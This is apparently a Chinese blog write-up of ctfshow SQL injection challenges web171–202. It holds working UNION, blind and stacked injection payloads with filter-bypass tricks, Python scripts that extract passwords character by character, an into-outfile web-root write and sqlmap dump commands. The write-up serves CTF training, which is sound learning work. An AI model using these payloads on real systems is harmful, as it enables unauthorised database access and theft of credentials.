ctfshow web入门 sql注入(持续更新)

web171

第一题嘛,都是最基础的,单引号闭合,用联合查询注入即可。

1' order by 3-- -
-1' union select 1,2,3-- -
# 库名是ctfshow_web
-1' union select 1,database(),3-- -  
# 表名是ctfshow_user
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web'-- - 
# 三个字段,id,username,password
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'-- -
# flag在password字段中
-1' union select 1,group_concat(password),3 from ctfshow_user-- -

web172

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

这题在上题的基础上,增加了返回字符串的过滤,如果有flag就不输出,可以将最后的结果base64加密一下。sql中base64加密为to_base64()函数。注意,这题只有两个栏目

1' union select 1,to_base64(password) from ctfshow_user2-- -

web173

只是多了个大写过滤,和上题解法一样,这题有三个栏目

1' union select 1,to_base64(password),3 from ctfshow_user3-- -

web174

这题有个小坑,明明是sql注入的第四题,url里却还是select-no-waf-3.php,所以将3换成4

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

又多过滤了数字,直接布尔盲注

import requests

url = "http://64e7018a-e869-46dc-abce-7f4dbe4f56f9.challenge.ctf.show:8080/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2
        payload = f"1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -"
        r = requests.get(url + payload)
        if 'admin' in r.text:
            head = mid + 1
        else:
            tail = mid

    # result += chr(head)
    if head != 32:
        result += chr(head)
    else:
        break

    print(result)

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

过滤了ASCII码0-127的字符,页面没有回显的话可以选择将输出存到一个文本文件中,再去访问它。

1' union select 1,password from ctfshow_user5 where username='flag' into outfile "/var/www/html/2.txt"-- -

web176

开始有过滤了,这题用大写绕过

1' order by 3-- -
-1' uNion sElect 1,2,3-- - 
-1' uNion sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
-1' uNion sElect 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'-- -
-1' uNion sElect 1,group_concat(password),3 from ctfshow_user where username='flag'-- -

web177

过滤了空格,用/**/代替,注释用%23

-1'/**/union/**/select/**/1,2,3%23
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23
-1'/**/union/**/select/**/1,group_concat(password),3/**/from/**/ctfshow_user%23

web178

把上一题的/**/也过滤了,可以用%0a

1'%0a%23
1'%0aorder%0aby%0a3%23
-1'%0aunion%0aselect%0a1,database(),3%23
-1'%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='ctfshow_web'%23
-1'%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='ctfshow_user'%23
-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23

web179

%0a被过滤,可以参考ascii码表,选择%0c

-1'%0cunion%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%23

web180-182

前面的题目中id=26时是flag用户,可以先用1'闭合前面的单引号,然后用or(id=26)查询,最后用and'a'='a闭合后面的单引号,查询后是id=1的用户,可以让id=1111,这样前面的用户不存在,爆出后面id=26的用户

1111'or(id=26)and'a'='a

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

这题是查询指定的表名,输入前面的表ctfshow_user后发现数量有22个,那么可以用正则来一个字符一个字符的匹配

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('c'))
import requests

url = 'http://ed472e0b-c024-43be-93cb-8ed1c6333880.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = ""
for i in range(0, 46):
    for st in usestr:
    	# 前七位是ctfshow
        if i < 8:
            continue
        payload = {
            "tableName": f"`ctfshow_user`where(substr(`pass`,{str(i)},1)regexp(\'{st}\'))"
        }
        r = requests.post(url, data=payload)
        if r.text.find("$user_count = 1;") > 0:
            result += st
            print(result)
            break

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

在上一题的基础上过滤了where,可以用right join连接查询,两侧表都为ctfshow_user时作用即相当于where

RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。

因为过滤了单双引号,所以在正则匹配时无法使用,这里可以用char()函数代替

tableName=ctfshow_user as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(99))
import requests
from time import sleep

url = 'http://aa88fe34-e20c-416b-9ce2-4ca4021e6890.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = "ctfshow"
for i in range(45):
    if i < 8:
        continue
    for st in range(127):
        payload = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{str(i)},1)regexp(char({st})))"
        }
        r = requests.post(url, data=payload)
        if r.text.find("$user_count = 43;") > 0:
            if chr(st) != '.':
                result += chr(st)
                print(result.lower())
                sleep(1)
                break

web185-186

又过滤了数字,想办法构造,true1,那么true+true是不是2呢?实验一下:
在这里插入图片描述
发现可行,那么在上一题脚本的基础上写一个函数,将数字转换成对应的true相加,即可。

import requests
from time import sleep


def createnum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += '+true'
        return num


url = 'http://74c8b407-c2fb-4083-b794-ee36a6cfb5e1.challenge.ctf.show:8080/select-waf.php'
usestr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
result = "ctfshow"
for i in range(45):
    if i < 8:
        continue
    for st in range(127):
        payload = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},{createnum(1)})regexp(char({createnum(st)})))"
        }
        r = requests.post(url, data=payload)
        if r.text.find("$user_count = 43;") > 0:
            if chr(st) != '.':
                result += chr(st)
                print(result.lower())
                sleep(1)
                break

web187

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
      
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
    $ret['msg']='用户名不存在';
    die(json_encode($ret));
}

考察的是md5(string,true)的绕过,要想成功登录,要使密码转换成16进制的hex后包含'or '6',符合的两个字符串有ffifdyop129581926211651571912466741651878684928

<?php
echo urlencode(md5("ffifdyop",true));
// 输出结果为%27or%276%C9%5D%99%E9%21r%2C%F9%EDb%1C

在这里插入图片描述
抓个包即可看到flag。

web188

select * from users where username=0;

上面这句话会把表中所有的记录全部查询出来,而题目最后的比较是==弱比较,会自动把字符串转换为0,0=0恒成立。
在这里插入图片描述

web189

import requests

url = "http://f81130aa-adee-4df2-843b-42bdc38b3709.challenge.ctf.show:8080/api/"

result = ''
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2
        # # 查表
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # 查列名
        #payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"'
        # 查字段
        payload = 'select group_concat(f1ag) from ctfshow_fl0g'
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }
        r = requests.post(url, data=data)
        if '密码错误' == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    # result += chr(head)
    if head != 32:
        result += chr(head)
    else:
        break

    print(result)

web191

ascii()函数被过滤,可以使用ord()函数代替

import requests

url = "http://29c345bb-c369-4912-8441-d1f06ef8f193.challenge.ctf.show:8080/api/"

result = ''
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2
        # # 查表
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # 查列名
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"'
        # 查字段
        payload = 'select group_concat(f1ag) from ctfshow_fl0g'
        data = {
            'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }
        r = requests.post(url, data=data)
        if '密码错误' == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    # result += chr(head)
    if head != 32:
        result += chr(head)
    else:
        break

    print(result)

中间的题目先跳过了,从web199开始。

web199-200

可以用堆叠注入,查询表名,然后让password的值为ctfshow_user,这样两者就相等

payload:

username=1;show tables;&password=ctfshow_user

web201

开始使用sqlmap

# 爆库名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" --dbs
# 爆表名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web --tables
# 爆列名
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web -T ctfshow_user --columns
# 爆字段
-u http://34e18a2c-d73b-46e7-8efb-f97fe750f534.challenge.ctf.show:8080/api/?id=1 --referer "ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

web202

-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" --dbs
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web --tables
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
-u http://8fbefb34-987a-4e97-bc2c-19b5179a5799.challenge.ctf.show:8080/api/?id=1 --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值